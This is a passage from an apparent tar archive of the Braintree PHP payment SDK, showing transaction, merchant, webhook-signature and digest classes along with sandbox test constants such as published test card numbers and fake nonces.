Result\Successful|Result\Error */ public function void($transactionId) { $this->_validateId($transactionId); $path = $this->_config->merchantPath() . '/transactions/'. $transactionId . '/void'; $response = $this->_http->put($path); return $this->_verifyGatewayResponse($response); } /** * */ public function voidNoValidate($transactionId) { $result = $this->void($transactionId); return Util::returnObjectOrThrowException(__CLASS__, $result); } public function submitForSettlement($transactionId, $amount = null, $attribs = []) { $this->_validateId($transactionId); Util::verifyKeys(self::submitForSettlementSignature(), $attribs); $attribs['amount'] = $amount; $path = $this->_config->merchantPath() . '/transactions/'. $transactionId . '/submit_for_settlement'; $response = $this->_http->put($path, ['transaction' => $attribs]); return $this->_verifyGatewayResponse($response); } public function submitForSettlementNoValidate($transactionId, $amount = null, $attribs = []) { $result = $this->submitForSettlement($transactionId, $amount, $attribs); return Util::returnObjectOrThrowException(__CLASS__, $result); } public function updateDetails($transactionId, $attribs = []) { $this->_validateId($transactionId); Util::verifyKeys(self::updateDetailsSignature(), $attribs); $path = $this->_config->merchantPath() . '/transactions/'. $transactionId . '/update_details'; $response = $this->_http->put($path, ['transaction' => $attribs]); return $this->_verifyGatewayResponse($response); } public function submitForPartialSettlement($transactionId, $amount, $attribs = []) { $this->_validateId($transactionId); Util::verifyKeys(self::submitForSettlementSignature(), $attribs); $attribs['amount'] = $amount; $path = $this->_config->merchantPath() . '/transactions/'. $transactionId . '/submit_for_partial_settlement'; $response = $this->_http->post($path, ['transaction' => $attribs]); return $this->_verifyGatewayResponse($response); } public function holdInEscrow($transactionId) { $this->_validateId($transactionId); $path = $this->_config->merchantPath() . '/transactions/' . $transactionId . '/hold_in_escrow'; $response = $this->_http->put($path, []); return $this->_verifyGatewayResponse($response); } public function releaseFromEscrow($transactionId) { $this->_validateId($transactionId); $path = $this->_config->merchantPath() . '/transactions/' . $transactionId . '/release_from_escrow'; $response = $this->_http->put($path, []); return $this->_verifyGatewayResponse($response); } public function cancelRelease($transactionId) { $this->_validateId($transactionId); $path = $this->_config->merchantPath() . '/transactions/' . $transactionId . '/cancel_release'; $response = $this->_http->put($path, []); return $this->_verifyGatewayResponse($response); } public function refund($transactionId, $amount_or_options = null) { self::_validateId($transactionId); if(gettype($amount_or_options) == "array") { $options = $amount_or_options; } else { $options = [ "amount" => $amount_or_options ]; } Util::verifyKeys(self::refundSignature(), $options); $params = ['transaction' => $options]; $path = $this->_config->merchantPath() . '/transactions/' . $transactionId . '/refund'; $response = $this->_http->post($path, $params); return $this->_verifyGatewayResponse($response); } /** * sends the create request to the gateway * * @ignore * @param var $subPath * @param array $params * @return Result\Successful|Result\Error */ public function _doCreate($subPath, $params) { $fullPath = $this->_config->merchantPath() . $subPath; $response = $this->_http->post($fullPath, $params); return $this->_verifyGatewayResponse($response); } /** * verifies that a valid transaction id is being used * @ignore * @param string transaction id * @throws InvalidArgumentException */ private function _validateId($id = null) { if (empty($id)) { throw new InvalidArgumentException( 'expected transaction id to be set' ); } if (!preg_match('/^[0-9a-z]+$/', $id)) { throw new InvalidArgumentException( $id . ' is an invalid transaction id.' ); } } /** * generic method for validating incoming gateway responses * * creates a new Transaction object and encapsulates * it inside a Result\Successful object, or * encapsulates a Errors object inside a Result\Error * alternatively, throws an Unexpected exception if the response is invalid. * * @ignore * @param array $response gateway response values * @return Result\Successful|Result\Error * @throws Exception\Unexpected */ private function _verifyGatewayResponse($response) { if (isset($response['transaction'])) { // return a populated instance of Transaction return new Result\Successful( Transaction::factory($response['transaction']) ); } else if (isset($response['apiErrorResponse'])) { return new Result\Error($response['apiErrorResponse']); } else { throw new Exception\Unexpected( "Expected transaction or apiErrorResponse" ); } } } class_alias('Braintree\TransactionGateway', 'Braintree_TransactionGateway'); ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������braintree/lib/Braintree/EndsWithNode.php������������������������������������������������������������0000644�����������������00000000714�14720677707�0014267 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Braintree; class EndsWithNode { public function __construct($name) { $this->name = $name; $this->searchTerms = []; } public function endsWith($value) { $this->searchTerms["ends_with"] = strval($value); return $this; } public function toParam() { return $this->searchTerms; } } class_alias('Braintree\EndsWithNode', 'Braintree_EndsWithNode'); ����������������������������������������������������braintree/lib/Braintree/Digest.php������������������������������������������������������������������0000644�����������������00000003177�14720677707�0013161 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Braintree; /** * Digest encryption module * Digest creates an HMAC-SHA1 hash for encrypting messages */ class Digest { public static function hexDigestSha1($key, $string) { if(function_exists('hash_hmac')) { return self::_builtInHmacSha1($string, $key); } else { return self::_hmacSha1($string, $key); } } public static function hexDigestSha256($key, $string) { return hash_hmac('sha256', $string, hash('sha256', $key, true)); } public static function secureCompare($left, $right) { if (strlen($left) != strlen($right)) { return false; } $leftBytes = unpack("C*", $left); $rightBytes = unpack("C*", $right); $result = 0; for ($i = 1; $i <= count($leftBytes); $i++) { $result = $result | ($leftBytes[$i] ^ $rightBytes[$i]); } return $result == 0; } public static function _builtInHmacSha1($message, $key) { return hash_hmac('sha1', $message, sha1($key, true)); } public static function _hmacSha1($message, $key) { $pack = 'H40'; $keyDigest = sha1($key,true); $innerPad = str_repeat(chr(0x36), 64); $outerPad = str_repeat(chr(0x5C), 64); for ($i = 0; $i < 20; $i++) { $innerPad[$i] = $keyDigest[$i] ^ $innerPad[$i]; $outerPad[$i] = $keyDigest[$i] ^ $outerPad[$i]; } return sha1($outerPad.pack($pack, sha1($innerPad.$message))); } } class_alias('Braintree\Digest', 'Braintree_Digest'); �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������braintree/lib/Braintree/MerchantGateway.php���������������������������������������������������������0000644�����������������00000002535�14720677707�0015022 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Braintree; class MerchantGateway { private $_gateway; private $_config; private $_http; public function __construct($gateway) { $this->_gateway = $gateway; $this->_config = $gateway->config; $this->_config->assertHasClientCredentials(); $this->_http = new Http($gateway->config); $this->_http->useClientCredentials(); } public function create($attribs) { $response = $this->_http->post('/merchants/create_via_api', ['merchant' => $attribs]); return $this->_verifyGatewayResponse($response); } private function _verifyGatewayResponse($response) { if (isset($response['response']['merchant'])) { // return a populated instance of merchant return new Result\Successful([ Merchant::factory($response['response']['merchant']), OAuthCredentials::factory($response['response']['credentials']), ]); } else if (isset($response['apiErrorResponse'])) { return new Result\Error($response['apiErrorResponse']); } else { throw new Exception\Unexpected( "Expected merchant or apiErrorResponse" ); } } } class_alias('Braintree\MerchantGateway', 'Braintree_MerchantGateway'); �������������������������������������������������������������������������������������������������������������������������������������������������������������������braintree/lib/Braintree/Test/TransactionAmounts.php�������������������������������������������������0000644�����������������00000001016�14720677707�0016503 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Braintree\Test; /** * Transaction amounts used for testing purposes * * The constants in this class can be used to create transactions with * the desired status in the sandbox environment. * * @package Braintree * @subpackage Test */ class TransactionAmounts { public static $authorize = '1000.00'; public static $decline = '2000.00'; public static $hardDecline = '2015.00'; } class_alias('Braintree\Test\TransactionAmounts', 'Braintree_Test_TransactionAmounts'); ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������braintree/lib/Braintree/Test/Transaction.php��������������������������������������������������������0000644�����������������00000003412�14720677707�0015136 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Braintree\Test; use Braintree\Configuration; /** * Transaction amounts used for testing purposes * * The constants in this class can be used to create transactions with * the desired status in the sandbox environment. */ class Transaction { /** * settle a transaction by id in sandbox * * @param string $id transaction id * @param Configuration $config gateway config * @return Transaction */ public static function settle($transactionId) { return Configuration::gateway()->testing()->settle($transactionId); } /** * settlement confirm a transaction by id in sandbox * * @param string $id transaction id * @param Configuration $config gateway config * @return Transaction */ public static function settlementConfirm($transactionId) { return Configuration::gateway()->testing()->settlementConfirm($transactionId); } /** * settlement decline a transaction by id in sandbox * * @param string $id transaction id * @param Configuration $config gateway config * @return Transaction */ public static function settlementDecline($transactionId) { return Configuration::gateway()->testing()->settlementDecline($transactionId); } /** * settlement pending a transaction by id in sandbox * * @param string $id transaction id * @param Configuration $config gateway config * @return Transaction */ public static function settlementPending($transactionId) { return Configuration::gateway()->testing()->settlementPending($transactionId); } } class_alias('Braintree\Test\Transaction', 'Braintree_Test_Transaction'); ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������braintree/lib/Braintree/Test/VenmoSdk.php�����������������������������������������������������������0000644�����������������00000001345�14720677707�0014402 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Braintree\Test; /** * VenmoSdk payment method codes used for testing purposes * * @package Braintree * @subpackage Test */ class VenmoSdk { public static $visaPaymentMethodCode = "stub-4111111111111111"; public static function generateTestPaymentMethodCode($number) { return "stub-" . $number; } public static function getInvalidPaymentMethodCode() { return "stub-invalid-payment-method-code"; } public static function getTestSession() { return "stub-session"; } public static function getInvalidTestSession() { return "stub-invalid-session"; } } class_alias('Braintree\Test\VenmoSdk', 'Braintree_Test_VenmoSdk'); �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������braintree/lib/Braintree/Test/MerchantAccount.php����������������������������������������������������0000644�����������������00000001164�14720677707�0015731 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Braintree\Test; /** * Merchant Account constants used for testing purposes * * @package Braintree * @subpackage Test */ class MerchantAccount { public static $approve = "approve_me"; public static $insufficientFundsContactUs = "insufficient_funds__contact"; public static $accountNotAuthorizedContactUs = "account_not_authorized__contact"; public static $bankRejectedUpdateFundingInformation = "bank_rejected__update"; public static $bankRejectedNone = "bank_rejected__none"; } class_alias('Braintree\Test\MerchantAccount', 'Braintree_Test_MerchantAccount'); ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������braintree/lib/Braintree/Test/CreditCardNumbers.php��������������������������������������������������0000644�����������������00000005044�14720677707�0016214 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Braintree\Test; /** * Credit card information used for testing purposes * * The constants contained in the Test\CreditCardNumbers class provide * credit card numbers that should be used when working in the sandbox environment. * The sandbox will not accept any credit card numbers other than the ones listed below. * * @package Braintree * @subpackage Test */ class CreditCardNumbers { public static $amExes = [ '378282246310005', '371449635398431', '378734493671000', ]; public static $carteBlanches = ['30569309025904',]; public static $dinersClubs = ['38520000023237',]; public static $discoverCards = [ '6011111111111117', '6011000990139424', ]; public static $hiper = '6370950000000005'; public static $hiperCard = '6062820524845321'; public static $elo = '5066991111111118'; public static $eloCards = [ '5066991111111118' ]; public static $JCBs = [ '3530111333300000', '3566002020360505', ]; public static $masterCard = '5555555555554444'; public static $masterCardInternational = '5105105105105100'; public static $masterCards = [ '5105105105105100', '5555555555554444', ]; public static $visa = '4012888888881881'; public static $visaInternational = '4009348888881881'; public static $visas = [ '4009348888881881', '4012888888881881', '4111111111111111', '4000111111111115', ]; public static $unknowns = [ '1000000000000008', ]; public static $failsSandboxVerification = [ 'AmEx' => '378734493671000', 'Discover' => '6011000990139424', 'MasterCard' => '5105105105105100', 'Visa' => '4000111111111115', ]; public static $amexPayWithPoints = [ 'Success' => "371260714673002", 'IneligibleCard' => "378267515471109", 'InsufficientPoints' => "371544868764018", ]; public static $disputes = [ 'Chargeback' => '4023898493988028', ]; public static function getAll() { return array_merge( self::$amExes, self::$discoverCards, self::$eloCards, self::$masterCards, self::$visas ); } } class_alias('Braintree\Test\CreditCardNumbers', 'Braintree_Test_CreditCardNumbers'); ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������braintree/lib/Braintree/Test/Nonces.php�������������������������������������������������������������0000644�����������������00000010773�14720677707�0014106 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Braintree\Test; /** * Nonces used for testing purposes * * @package Braintree * @subpackage Test */ /** * Nonces used for testing purposes * * The constants in this class can be used to perform nonce operations * with the desired status in the sandbox environment. * * @package Braintree * @subpackage Test */ class Nonces { public static $transactable = "fake-valid-nonce"; public static $consumed = "fake-consumed-nonce"; public static $paypalOneTimePayment = "fake-paypal-one-time-nonce"; public static $paypalFuturePayment = "fake-paypal-future-nonce"; public static $paypalBillingAgreement = "fake-paypal-billing-agreement-nonce"; public static $applePayVisa = "fake-apple-pay-visa-nonce"; public static $applePayMasterCard = "fake-apple-pay-visa-nonce"; public static $applePayAmEx = "fake-apple-pay-amex-nonce"; public static $androidPay = "fake-android-pay-nonce"; public static $androidPayDiscover = "fake-android-pay-discover-nonce"; public static $androidPayVisa = "fake-android-pay-visa-nonce"; public static $androidPayMasterCard = "fake-android-pay-mastercard-nonce"; public static $androidPayAmEx = "fake-android-pay-amex-nonce"; public static $amexExpressCheckout = "fake-amex-express-checkout-nonce"; public static $abstractTransactable = "fake-abstract-transactable-nonce"; public static $europe = "fake-europe-bank-account-nonce"; public static $coinbase = "fake-coinbase-nonce"; public static $transactableVisa = "fake-valid-visa-nonce"; public static $transactableAmEx = "fake-valid-amex-nonce"; public static $transactableMasterCard = "fake-valid-mastercard-nonce"; public static $transactableDiscover = "fake-valid-discover-nonce"; public static $transactableJCB = "fake-valid-jcb-nonce"; public static $transactableMaestro = "fake-valid-maestro-nonce"; public static $transactableDinersClub = "fake-valid-dinersclub-nonce"; public static $transactablePrepaid = "fake-valid-prepaid-nonce"; public static $transactableCommercial = "fake-valid-commercial-nonce"; public static $transactableDurbinRegulated = "fake-valid-durbin-regulated-nonce"; public static $transactableHealthcare = "fake-valid-healthcare-nonce"; public static $transactableDebit = "fake-valid-debit-nonce"; public static $transactablePayroll = "fake-valid-payroll-nonce"; public static $transactableNoIndicators = "fake-valid-no-indicators-nonce"; public static $transactableUnknownIndicators = "fake-valid-unknown-indicators-nonce"; public static $transactableCountryOfIssuanceUSA = "fake-valid-country-of-issuance-usa-nonce"; public static $transactableCountryOfIssuanceCAD = "fake-valid-country-of-issuance-cad-nonce"; public static $transactableIssuingBankNetworkOnly = "fake-valid-issuing-bank-network-only-nonce"; public static $processorDeclinedVisa = "fake-processor-declined-visa-nonce"; public static $processorDeclinedMasterCard = "fake-processor-declined-mastercard-nonce"; public static $processorDeclinedAmEx = "fake-processor-declined-amex-nonce"; public static $processorDeclinedDiscover = "fake-processor-declined-discover-nonce"; public static $processorFailureJCB = "fake-processor-failure-jcb-nonce"; public static $luhnInvalid = "fake-luhn-invalid-nonce"; public static $paypalFuturePaymentRefreshToken = "fake-paypal-future-refresh-token-nonce"; public static $sepa = "fake-sepa-bank-account-nonce"; public static $gatewayRejectedFraud = "fake-gateway-rejected-fraud-nonce"; public static $venmoAccount = "fake-venmo-account-nonce"; public static $visaCheckoutAmEx = "fake-visa-checkout-amex-nonce"; public static $visaCheckoutDiscover = "fake-visa-checkout-discover-nonce"; public static $visaCheckoutMasterCard = "fake-visa-checkout-mastercard-nonce"; public static $visaCheckoutVisa = "fake-visa-checkout-visa-nonce"; public static $masterpassAmEx = "fake-masterpass-amex-nonce"; public static $masterpassDiscover = "fake-masterpass-discover-nonce"; public static $masterpassMasterCard = "fake-masterpass-mastercard-nonce"; public static $masterpassVisa = "fake-masterpass-visa-nonce"; public static $samsungPayAmEx = "tokensam_fake_american_express"; public static $samsungPayDiscover = "tokensam_fake_discover"; public static $samsungPayMasterCard = "tokensam_fake_mastercard"; public static $samsungPayVisa = "tokensam_fake_visa"; } class_alias('Braintree\Test\Nonces', 'Braintree_Test_Nonces'); �����braintree/lib/Braintree/Merchant.php����������������������������������������������������������������0000644�����������������00000001734�14720677707�0013500 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Braintree; class Merchant extends Base { protected function _initialize($attribs) { $this->_attributes = $attribs; $merchantAccountArray = []; if (isset($attribs['merchantAccounts'])) { foreach ($attribs['merchantAccounts'] AS $merchantAccount) { $merchantAccountArray[] = MerchantAccount::factory($merchantAccount); } } $this->_set('merchantAccounts', $merchantAccountArray); } public static function factory($attributes) { $instance = new self(); $instance->_initialize($attributes); return $instance; } /** * returns a string representation of the merchant * @return string */ public function __toString() { return __CLASS__ . '[' . Util::attributesToString($this->_attributes) .']'; } } class_alias('Braintree\Merchant', 'Braintree_Merchant'); ������������������������������������braintree/lib/Braintree/ConnectedMerchantStatusTransitioned.php�������������������������������������0000644�����������������00000001611�14720677707�0021105 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Braintree; /** * Connected Merchant Status Transitioned Payload * * @package Braintree * * @property-read string $merchantPublicId * @property-read string $status * @property-read string $oauthApplicationClientId */ class ConnectedMerchantStatusTransitioned extends Base { protected $_attributes = []; /** * @ignore */ public static function factory($attributes) { $instance = new self(); $instance->_initialize($attributes); $instance->_attributes['merchantId'] = $instance->_attributes['merchantPublicId']; return $instance; } /** * @ignore */ protected function _initialize($attributes) { $this->_attributes = $attributes; } } class_alias('Braintree\ConnectedMerchantStatusTransitioned', 'Braintree_ConnectedMerchantStatusTransitioned'); �����������������������������������������������������������������������������������������������������������������������braintree/lib/Braintree/WebhookNotification.php�����������������������������������������������������0000644�����������������00000014332�14720677707�0015702 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Braintree; class WebhookNotification extends Base { const SUBSCRIPTION_CANCELED = 'subscription_canceled'; const SUBSCRIPTION_CHARGED_SUCCESSFULLY = 'subscription_charged_successfully'; const SUBSCRIPTION_CHARGED_UNSUCCESSFULLY = 'subscription_charged_unsuccessfully'; const SUBSCRIPTION_EXPIRED = 'subscription_expired'; const SUBSCRIPTION_TRIAL_ENDED = 'subscription_trial_ended'; const SUBSCRIPTION_WENT_ACTIVE = 'subscription_went_active'; const SUBSCRIPTION_WENT_PAST_DUE = 'subscription_went_past_due'; const SUB_MERCHANT_ACCOUNT_APPROVED = 'sub_merchant_account_approved'; const SUB_MERCHANT_ACCOUNT_DECLINED = 'sub_merchant_account_declined'; const TRANSACTION_DISBURSED = 'transaction_disbursed'; const TRANSACTION_SETTLED = 'transaction_settled'; const TRANSACTION_SETTLEMENT_DECLINED = 'transaction_settlement_declined'; const DISBURSEMENT_EXCEPTION = 'disbursement_exception'; const DISBURSEMENT = 'disbursement'; const DISPUTE_OPENED = 'dispute_opened'; const DISPUTE_LOST = 'dispute_lost'; const DISPUTE_WON = 'dispute_won'; const PARTNER_MERCHANT_CONNECTED = 'partner_merchant_connected'; const PARTNER_MERCHANT_DISCONNECTED = 'partner_merchant_disconnected'; const PARTNER_MERCHANT_DECLINED = 'partner_merchant_declined'; const OAUTH_ACCESS_REVOKED = 'oauth_access_revoked'; const CHECK = 'check'; const ACCOUNT_UPDATER_DAILY_REPORT = 'account_updater_daily_report'; const CONNECTED_MERCHANT_STATUS_TRANSITIONED = 'connected_merchant_status_transitioned'; const CONNECTED_MERCHANT_PAYPAL_STATUS_CHANGED = 'connected_merchant_paypal_status_changed'; const IDEAL_PAYMENT_COMPLETE = 'ideal_payment_complete'; const IDEAL_PAYMENT_FAILED = 'ideal_payment_failed'; // NEXT_MAJOR_VERSION remove GRANTED_PAYMENT_INSTRUMENT_UPDATE. Kind is not sent by Braintree Gateway. // Kind will either be GRANTOR_UPDATED_GRANTED_PAYMENT_METHOD or RECIPIENT_UPDATED_GRANTED_PAYMENT_METHOD. const GRANTED_PAYMENT_INSTRUMENT_UPDATE = 'granted_payment_instrument_update'; const GRANTOR_UPDATED_GRANTED_PAYMENT_METHOD = 'grantor_updated_granted_payment_method'; const RECIPIENT_UPDATED_GRANTED_PAYMENT_METHOD = 'recipient_updated_granted_payment_method'; const GRANTED_PAYMENT_METHOD_REVOKED = 'granted_payment_method_revoked'; const LOCAL_PAYMENT_COMPLETED = "local_payment_completed"; public static function parse($signature, $payload) { return Configuration::gateway()->webhookNotification()->parse($signature, $payload); } public static function verify($challenge) { return Configuration::gateway()->webhookNotification()->verify($challenge); } public static function factory($attributes) { $instance = new self(); $instance->_initialize($attributes); return $instance; } protected function _initialize($attributes) { $this->_attributes = $attributes; if (!isset($attributes['sourceMerchantId'])) { $this->_set('sourceMerchantId', null); } if (isset($attributes['subject']['apiErrorResponse'])) { $wrapperNode = $attributes['subject']['apiErrorResponse']; } else { $wrapperNode = $attributes['subject']; } if (isset($wrapperNode['subscription'])) { $this->_set('subscription', Subscription::factory($attributes['subject']['subscription'])); } if (isset($wrapperNode['merchantAccount'])) { $this->_set('merchantAccount', MerchantAccount::factory($wrapperNode['merchantAccount'])); } if (isset($wrapperNode['transaction'])) { $this->_set('transaction', Transaction::factory($wrapperNode['transaction'])); } if (isset($wrapperNode['disbursement'])) { $this->_set('disbursement', Disbursement::factory($wrapperNode['disbursement'])); } if (isset($wrapperNode['partnerMerchant'])) { $this->_set('partnerMerchant', PartnerMerchant::factory($wrapperNode['partnerMerchant'])); } if (isset($wrapperNode['oauthApplicationRevocation'])) { $this->_set('oauthAccessRevocation', OAuthAccessRevocation::factory($wrapperNode['oauthApplicationRevocation'])); } if (isset($wrapperNode['connectedMerchantStatusTransitioned'])) { $this->_set('connectedMerchantStatusTransitioned', ConnectedMerchantStatusTransitioned::factory($wrapperNode['connectedMerchantStatusTransitioned'])); } if (isset($wrapperNode['connectedMerchantPaypalStatusChanged'])) { $this->_set('connectedMerchantPayPalStatusChanged', ConnectedMerchantPayPalStatusChanged::factory($wrapperNode['connectedMerchantPaypalStatusChanged'])); } if (isset($wrapperNode['dispute'])) { $this->_set('dispute', Dispute::factory($wrapperNode['dispute'])); } if (isset($wrapperNode['accountUpdaterDailyReport'])) { $this->_set('accountUpdaterDailyReport', AccountUpdaterDailyReport::factory($wrapperNode['accountUpdaterDailyReport'])); } if (isset($wrapperNode['idealPayment'])) { $this->_set('idealPayment', IdealPayment::factory($wrapperNode['idealPayment'])); } if (isset($wrapperNode['grantedPaymentInstrumentUpdate'])) { $this->_set('grantedPaymentInstrumentUpdate', GrantedPaymentInstrumentUpdate::factory($wrapperNode['grantedPaymentInstrumentUpdate'])); } if ($attributes['kind'] == self::GRANTED_PAYMENT_METHOD_REVOKED) { $this->_set('revokedPaymentMethodMetadata', RevokedPaymentMethodMetadata::factory($wrapperNode)); } if (isset($wrapperNode['localPayment'])) { $this->_set('localPaymentCompleted', LocalPaymentCompleted::factory($wrapperNode['localPayment'])); } if (isset($wrapperNode['errors'])) { $this->_set('errors', new Error\ValidationErrorCollection($wrapperNode['errors'])); $this->_set('message', $wrapperNode['message']); } } } class_alias('Braintree\WebhookNotification', 'Braintree_WebhookNotification'); ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������braintree/lib/Braintree/TransactionLineItemGateway.php����������������������������������������������0000644�����������������00000003644�14720677707�0017177 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Braintree; use InvalidArgumentException; /** * Braintree TransactionLineItemGateway processor * Creates and manages transaction line items * * @package Braintree * @category Resources */ class TransactionLineItemGateway { private $_gateway; private $_config; private $_http; public function __construct($gateway) { $this->_gateway = $gateway; $this->_config = $gateway->config; $this->_config->assertHasAccessTokenOrKeys(); $this->_http = new Http($gateway->config); } /** * @access public * @param string id * @return Transaction */ public function findAll($id) { $this->_validateId($id); try { $path = $this->_config->merchantPath() . '/transactions/' . $id . '/line_items'; $response = $this->_http->get($path); $lineItems = []; if (isset($response['lineItems'])) { foreach ($response['lineItems'] AS $lineItem) { $lineItems[] = new TransactionLineItem($lineItem); } } return $lineItems; } catch (Exception\NotFound $e) { throw new Exception\NotFound('transaction line items with id ' . $id . ' not found'); } } /** * verifies that a valid transaction id is being used * @ignore * @param string transaction id * @throws InvalidArgumentException */ private function _validateId($id = null) { if (empty($id)) { throw new InvalidArgumentException('expected transaction id to be set'); } if (!preg_match('/^[0-9a-z]+$/', $id)) { throw new InvalidArgumentException($id . ' is an invalid transaction id.'); } } } class_alias('Braintree\TransactionLineItemGateway', 'Braintree_TransactionLineItemGateway'); ��������������������������������������������������������������������������������������������braintree/lib/Braintree/AmexExpressCheckoutCard.php�������������������������������������������������0000644�����������������00000004546�14720677707�0016467 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Braintree; /** * Braintree AmexExpressCheckoutCard module * Creates and manages Braintree Amex Express Checkout cards * * <b>== More information ==</b> * * See {@link https://developers.braintreepayments.com/javascript+php}<br /> * * @package Braintree * @category Resources * * @property-read string $bin * @property-read string $cardMemberExpiryDate * @property-read string $cardMemberNumber * @property-read string $cardType * @property-read \DateTime $createdAt * @property-read string $customerId * @property-read boolean $default * @property-read string $expirationMonth * @property-read string $expirationYear * @property-read string $imageUrl * @property-read string $token * @property-read string $sourceDescription * @property-read \Braintree\Subscription[] $subscriptions * @property-read \DateTime $updatedAt */ class AmexExpressCheckoutCard extends Base { /* instance methods */ /** * returns false if default is null or false * * @return boolean */ public function isDefault() { return $this->default; } /** * factory method: returns an instance of AmexExpressCheckoutCard * to the requesting method, with populated properties * * @ignore * @return AmexExpressCheckoutCard */ public static function factory($attributes) { $instance = new self(); $instance->_initialize($attributes); return $instance; } /** * sets instance properties from an array of values * * @access protected * @param array $amexExpressCheckoutCardAttribs array of Amex Express Checkout card properties * @return void */ protected function _initialize($amexExpressCheckoutCardAttribs) { // set the attributes $this->_attributes = $amexExpressCheckoutCardAttribs; $subscriptionArray = []; if (isset($amexExpressCheckoutCardAttribs['subscriptions'])) { foreach ($amexExpressCheckoutCardAttribs['subscriptions'] AS $subscription) { $subscriptionArray[] = Subscription::factory($subscription); } } $this->_set('subscriptions', $subscriptionArray); } } class_alias('Braintree\AmexExpressCheckoutCard', 'Braintree_AmexExpressCheckoutCard'); ����������������������������������������������������������������������������������������������������������������������������������������������������������braintree/lib/Braintree/WebhookNotificationGateway.php����������������������������������������������0000644�����������������00000005041�14720677707�0017221 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Braintree; class WebhookNotificationGateway { public function __construct($gateway) { $this->config = $gateway->config; $this->config->assertHasAccessTokenOrKeys(); } public function parse($signature, $payload) { if (is_null($signature)) { throw new Exception\InvalidSignature("signature cannot be null"); } if (is_null($payload)) { throw new Exception\InvalidSignature("payload cannot be null"); } if (preg_match("/[^A-Za-z0-9+=\/\n]/", $payload) === 1) { throw new Exception\InvalidSignature("payload contains illegal characters"); } self::_validateSignature($signature, $payload); $xml = base64_decode($payload); $attributes = Xml::buildArrayFromXml($xml); return WebhookNotification::factory($attributes['notification']); } public function verify($challenge) { if (!preg_match('/^[a-f0-9]{20,32}$/', $challenge)) { throw new Exception\InvalidChallenge("challenge contains non-hex characters"); } $publicKey = $this->config->getPublicKey(); $digest = Digest::hexDigestSha1($this->config->getPrivateKey(), $challenge); return "{$publicKey}|{$digest}"; } private function _payloadMatches($signature, $payload) { $payloadSignature = Digest::hexDigestSha1($this->config->getPrivateKey(), $payload); return Digest::secureCompare($signature, $payloadSignature); } private function _validateSignature($signatureString, $payload) { $signaturePairs = preg_split("/&/", $signatureString); $signature = self::_matchingSignature($signaturePairs); if (!$signature) { throw new Exception\InvalidSignature("no matching public key"); } if (!(self::_payloadMatches($signature, $payload) || self::_payloadMatches($signature, $payload . "\n"))) { throw new Exception\InvalidSignature("signature does not match payload - one has been modified"); } } private function _matchingSignature($signaturePairs) { foreach ($signaturePairs as $pair) { $components = preg_split("/\|/", $pair); if ($components[0] == $this->config->getPublicKey()) { return $components[1]; } } return null; } } class_alias('Braintree\WebhookNotificationGateway', 'Braintree_WebhookNotificationGateway'); �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������braintree/lib/Braintree/MerchantAccount.php���������������������������������������������������������0000644�����������������00000005176�14720677707�0015021 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Braintree; /** * @property-read \Braintree\MerchantAccount\BusinessDetails $businessDetails * @property-read string $currencyIsoCode * @property-read boolean $default * @property-read \Braintree\MerchantAccount\FundingDetails $fundingDetails * @property-read string $id * @property-read \Braintree\MerchantAccount\IndividualDetails $individualDetails * @property-read \Braintree\MerchantAccount $masterMerchantAccount * @property-read string $status */ class MerchantAccount extends Base { const STATUS_ACTIVE = 'active'; const STATUS_PENDING = 'pending'; const STATUS_SUSPENDED = 'suspended'; const FUNDING_DESTINATION_BANK 